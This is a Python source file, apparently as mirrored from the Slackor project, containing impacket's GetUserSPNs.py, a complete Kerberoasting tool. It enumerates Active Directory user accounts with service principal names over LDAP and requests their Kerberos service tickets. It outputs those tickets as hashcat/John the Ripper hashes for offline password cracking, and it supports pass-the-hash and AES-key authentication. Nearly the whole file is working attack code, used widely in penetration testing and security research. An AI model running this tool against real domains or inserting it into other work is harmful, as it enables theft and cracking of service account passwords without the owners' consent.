github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/GetUserSPNs.py (about) 1 #!/usr/bin/env python 2 # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 # 4 # This software is provided under under a slightly modified version 5 # of the Apache Software License. See the accompanying LICENSE file 6 # for more information. 7 # 8 # Author: 9 # Alberto Solino (@agsolino) 10 # 11 # Description: 12 # This module will try to find Service Principal Names that are associated with normal user account. 13 # Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request 14 # will encrypt the ticket with the account the SPN is running under, this could be used for an offline 15 # bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs. 16 # This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at 17 # https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf 18 # 19 # Original idea of implementing this in Python belongs to @skelsec and his 20 # https://github.com/skelsec/PyKerberoast project 21 # 22 # This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key. 23 # Also, disabled accounts won't be shown. 24 # 25 # ToDo: 26 # [X] Add the capability for requesting TGS and output them in JtR/hashcat format 27 # [X] Improve the search filter, we have to specify we don't want machine accounts in the answer 28 # (play with userAccountControl) 29 # 30 from __future__ import division 31 from __future__ import print_function 32 import argparse 33 import logging 34 import os 35 import sys 36 from datetime import datetime 37 from binascii import hexlify, unhexlify 38 39 from pyasn1.codec.der import decoder 40 from impacket import version 41 from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE 42 from impacket.examples import logger 43 from impacket.krb5 import constants 44 from impacket.krb5.asn1 import TGS_REP 45 from impacket.krb5.ccache import CCache 46 from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS 47 from impacket.krb5.types import Principal 48 from impacket.ldap import ldap, ldapasn1 49 from impacket.smbconnection import SMBConnection 50 from impacket.ntlm import compute_lmhash, compute_nthash 51 52 class GetUserSPNs: 53 @staticmethod 54 def printTable(items, header): 55 colLen = [] 56 for i, col in enumerate(header): 57 rowMaxLen = max([len(row[i]) for row in items]) 58 colLen.append(max(rowMaxLen, len(col))) 59 60 outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) 61 62 # Print header 63 print(outputFormat.format(*header)) 64 print(' '.join(['-' * itemLen for itemLen in colLen])) 65 66 # And now the rows 67 for row in items: 68 print(outputFormat.format(*row)) 69 70 def __init__(self, username, password, user_domain, target_domain, cmdLineOptions): 71 self.__username = username 72 self.__password = password 73 self.__domain = user_domain 74 self.__targetDomain = target_domain 75 self.__lmhash = '' 76 self.__nthash = '' 77 self.__outputFileName = cmdLineOptions.outputfile 78 self.__aesKey = cmdLineOptions.aesKey 79 self.__doKerberos = cmdLineOptions.k 80 self.__requestTGS = cmdLineOptions.request 81 self.__kdcHost = cmdLineOptions.dc_ip 82 self.__saveTGS = cmdLineOptions.save 83 self.__requestUser = cmdLineOptions.request_user 84 if cmdLineOptions.hashes is not None: 85 self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') 86 87 # Create the baseDN 88 domainParts = self.__targetDomain.split('.') 89 self.baseDN = '' 90 for i in domainParts: 91 self.baseDN += 'dc=%s,' % i 92 # Remove last ',' 93 self.baseDN = self.baseDN[:-1] 94 # We can't set the KDC to a custom IP when requesting things cross-domain 95 # because then the KDC host will be used for both 96 # the initial and the referral ticket, which breaks stuff. 97 if user_domain != target_domain and self.__kdcHost: 98 logging.warning('DC ip will be ignored because of cross-domain targeting.') 99 self.__kdcHost = None 100 101 def getMachineName(self): 102 if self.__kdcHost is not None and self.__targetDomain == self.__domain: 103 s = SMBConnection(self.__kdcHost, self.__kdcHost) 104 else: 105 s = SMBConnection(self.__targetDomain, self.__targetDomain) 106 try: 107 s.login('', '') 108 except Exception: 109 if s.getServerName() == '': 110 raise 'Error while anonymous logging into %s' 111 else: 112 try: 113 s.logoff() 114 except Exception: 115 # We don't care about exceptions here as we already have the required 116 # information. This also works around the current SMB3 bug 117 pass 118 return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName()) 119 120 @staticmethod 121 def getUnixTime(t): 122 t -= 116444736000000000 123 t /= 10000000 124 return t 125 126 def getTGT(self): 127 try: 128 ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) 129 except: 130 # No cache present 131 pass 132 else: 133 # retrieve user and domain information from CCache file if needed 134 if self.__domain == '': 135 domain = ccache.principal.realm['data'] 136 else: 137 domain = self.__domain 138 logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) 139 principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) 140 creds = ccache.getCredential(principal) 141 if creds is not None: 142 TGT = creds.toTGT() 143 logging.debug('Using TGT from cache') 144 return TGT 145 else: 146 logging.debug("No valid credentials found in cache. ") 147 148 # No TGT in cache, request it 149 userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 150 151 # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the 152 # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the 153 # cleartext password. 154 # If no clear text password is provided, we just go with the defaults. 155 if self.__password != '' and (self.__lmhash == '' and self.__nthash == ''): 156 try: 157 tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain, 158 compute_lmhash(self.__password), 159 compute_nthash(self.__password), self.__aesKey, 160 kdcHost=self.__kdcHost) 161 except Exception as e: 162 logging.debug('TGT: %s' % str(e)) 163 tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, 164 unhexlify(self.__lmhash), 165 unhexlify(self.__nthash), self.__aesKey, 166 kdcHost=self.__kdcHost) 167 168 else: 169 tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, 170 unhexlify(self.__lmhash), 171 unhexlify(self.__nthash), self.__aesKey, 172 kdcHost=self.__kdcHost) 173 TGT = {} 174 TGT['KDC_REP'] = tgt 175 TGT['cipher'] = cipher 176 TGT['sessionKey'] = sessionKey 177 178 return TGT 179 180 def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): 181 decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] 182 183 # According to RFC4757 (RC4-HMAC) the cipher part is like: 184 # struct EDATA { 185 # struct HEADER { 186 # OCTET Checksum[16]; 187 # OCTET Confounder[8]; 188 # } Header; 189 # OCTET Data[0]; 190 # } edata; 191 # 192 # In short, we're interested in splitting the checksum and the rest of the encrypted data 193 # 194 # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96) 195 # last 12 bytes of the encrypted ticket represent the checksum of the decrypted 196 # ticket 197 if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: 198 entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( 199 constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), 200 hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), 201 hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) 202 if fd is None: 203 print(entry) 204 else: 205 fd.write(entry+'\n') 206 elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: 207 entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( 208 constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), 209 hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), 210 hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode) 211 if fd is None: 212 print(entry) 213 else: 214 fd.write(entry+'\n') 215 elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: 216 entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( 217 constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), 218 hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), 219 hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) 220 if fd is None: 221 print(entry) 222 else: 223 fd.write(entry+'\n') 224 elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: 225 entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( 226 constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), 227 hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), 228 hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) 229 if fd is None: 230 print(entry) 231 else: 232 fd.write(entry+'\n') 233 else: 234 logging.error('Skipping %s/%s due to incompatible e-type %d' % ( 235 decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], 236 decodedTGS['ticket']['enc-part']['etype'])) 237 238 if self.__saveTGS is True: 239 # Save the ticket 240 logging.debug('About to save TGS for %s' % username) 241 ccache = CCache() 242 try: 243 ccache.fromTGS(tgs, oldSessionKey, sessionKey ) 244 ccache.saveFile('%s.ccache' % username) 245 except Exception as e: 246 logging.error(str(e)) 247 248 def run(self): 249 if self.__doKerberos: 250 target = self.getMachineName() 251 else: 252 if self.__kdcHost is not None and self.__targetDomain == self.__domain: 253 target = self.__kdcHost 254 else: 255 target = self.__targetDomain 256 257 # Connect to LDAP 258 try: 259 ldapConnection = ldap.LDAPConnection('ldap://%s' % target, self.baseDN, self.__kdcHost) 260 if self.__doKerberos is not True: 261 ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 262 else: 263 ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, 264 self.__aesKey, kdcHost=self.__kdcHost) 265 except ldap.LDAPSessionError as e: 266 if str(e).find('strongerAuthRequired') >= 0: 267 # We need to try SSL 268 ldapConnection = ldap.LDAPConnection('ldaps://%s' % target, self.baseDN, self.__kdcHost) 269 if self.__doKerberos is not True: 270 ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 271 else: 272 ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, 273 self.__aesKey, kdcHost=self.__kdcHost) 274 else: 275 raise 276 277 # Building the search filter 278 searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ 279 "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))" 280 281 if self.__requestUser is not None: 282 searchFilter += '(sAMAccountName:=%s))' % self.__requestUser 283 else: 284 searchFilter += ')' 285 286 try: 287 resp = ldapConnection.search(searchFilter=searchFilter, 288 attributes=['servicePrincipalName', 'sAMAccountName', 289 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], 290 sizeLimit=999) 291 except ldap.LDAPSearchError as e: 292 if e.getErrorString().find('sizeLimitExceeded') >= 0: 293 logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') 294 # We reached the sizeLimit, process the answers we have already and that's it. Until we implement 295 # paged queries 296 resp = e.getAnswers() 297 pass 298 else: 299 raise 300 301 answers = [] 302 logging.debug('Total of records returned %d' % len(resp)) 303 304 for item in resp: 305 if isinstance(item, ldapasn1.SearchResultEntry) is not True: 306 continue 307 mustCommit = False 308 sAMAccountName = '' 309 memberOf = '' 310 SPNs = [] 311 pwdLastSet = '' 312 userAccountControl = 0 313 lastLogon = 'N/A' 314 try: 315 for attribute in item['attributes']: 316 if str(attribute['type']) == 'sAMAccountName': 317 sAMAccountName = str(attribute['vals'][0]) 318 mustCommit = True 319 elif str(attribute['type']) == 'userAccountControl': 320 userAccountControl = str(attribute['vals'][0]) 321 elif str(attribute['type']) == 'memberOf': 322 memberOf = str(attribute['vals'][0]) 323 elif str(attribute['type']) == 'pwdLastSet': 324 if str(attribute['vals'][0]) == '0': 325 pwdLastSet = '<never>' 326 else: 327 pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) 328 elif str(attribute['type']) == 'lastLogon': 329 if str(attribute['vals'][0]) == '0': 330 lastLogon = '<never>' 331 else: 332 lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) 333 elif str(attribute['type']) == 'servicePrincipalName': 334 for spn in attribute['vals']: 335 SPNs.append(str(spn)) 336 337 if mustCommit is True: 338 if int(userAccountControl) & UF_ACCOUNTDISABLE: 339 logging.debug('Bypassing disabled account %s ' % sAMAccountName) 340 else: 341 for spn in SPNs: 342 answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon]) 343 except Exception as e: 344 logging.error('Skipping item, cannot process due to error %s' % str(e)) 345 pass 346 347 if len(answers)>0: 348 self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"]) 349 print('\n\n') 350 351 if self.__requestTGS is True or self.__requestUser is not None: 352 # Let's get unique user names and a SPN to request a TGS for 353 users = dict( (vals[1], vals[0]) for vals in answers) 354 355 # Get a TGT for the current user 356 TGT = self.getTGT() 357 if self.__outputFileName is not None: 358 fd = open(self.__outputFileName, 'w+') 359 else: 360 fd = None 361 for user, SPN in users.items(): 362 try: 363 serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) 364 tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, 365 self.__kdcHost, 366 TGT['KDC_REP'], TGT['cipher'], 367 TGT['sessionKey']) 368 self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN, fd) 369 except Exception as e: 370 logging.debug("Exception:", exc_info=True) 371 logging.error('SPN: %s - %s' % (SPN,str(e))) 372 if fd is not None: 373 fd.close() 374 375 else: 376 print("No entries found!") 377 378 379 # Process command-line arguments. 380 if __name__ == '__main__': 381 # Init the example's logger theme 382 logger.init() 383 print(version.BANNER) 384 385 parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for SPNs that are running " 386 "under a user account") 387 388 parser.add_argument('target', action='store', help='domain/username[:password]') 389 parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. ' 390 'Allows for Kerberoasting across trusts.') 391 parser.add_argument('-request', action='store_true', default='False', help='Requests TGS for users and output them ' 392 'in JtR/hashcat format (default False)') 393 parser.add_argument('-request-user', action='store', metavar='username', help='Requests TGS for the SPN associated ' 394 'to the user specified (just the username, no domain needed)') 395 parser.add_argument('-save', action='store_true', default='False', help='Saves TGS requested to disk. Format is ' 396 '<username>.ccache. Auto selects -request') 397 parser.add_argument('-outputfile', action='store', 398 help='Output filename to write ciphers in JtR/hashcat format') 399 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 400 401 group = parser.add_argument_group('authentication') 402 403 group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 404 group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 405 group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 406 '(KRB5CCNAME) based on target parameters. If valid credentials ' 407 'cannot be found, it will use the ones specified in the command ' 408 'line') 409 group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 410 '(128 or 256 bits)') 411 group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 412 'ommited it use the domain part (FQDN) ' 413 'specified in the target parameter. Ignored' 414 'if -target-domain is specified.') 415 416 if len(sys.argv)==1: 417 parser.print_help() 418 sys.exit(1) 419 420 options = parser.parse_args() 421 422 if options.debug is True: 423 logging.getLogger().setLevel(logging.DEBUG) 424 else: 425 logging.getLogger().setLevel(logging.INFO) 426 427 import re 428 # This is because I'm lazy with regex 429 # ToDo: We need to change the regex to fullfil domain/username[:password] 430 targetParam = options.target+'@' 431 userDomain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(targetParam).groups('') 432 433 #In case the password contains '@' 434 if '@' in address: 435 password = password + '@' + address.rpartition('@')[0] 436 address = address.rpartition('@')[2] 437 438 if userDomain is '': 439 logging.critical('userDomain should be specified!') 440 sys.exit(1) 441 442 if options.target_domain: 443 targetDomain = options.target_domain 444 else: 445 targetDomain = userDomain 446 447 if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 448 from getpass import getpass 449 password = getpass("Password:") 450 451 if options.aesKey is not None: 452 options.k = True 453 454 if options.save is True or options.outputfile is not None: 455 options.request = True 456 457 try: 458 executer = GetUserSPNs(username, password, userDomain, targetDomain, options) 459 executer.run() 460 except Exception as e: 461 if logging.getLogger().level == logging.DEBUG: 462 import traceback 463 traceback.print_exc() 464 logging.error(str(e))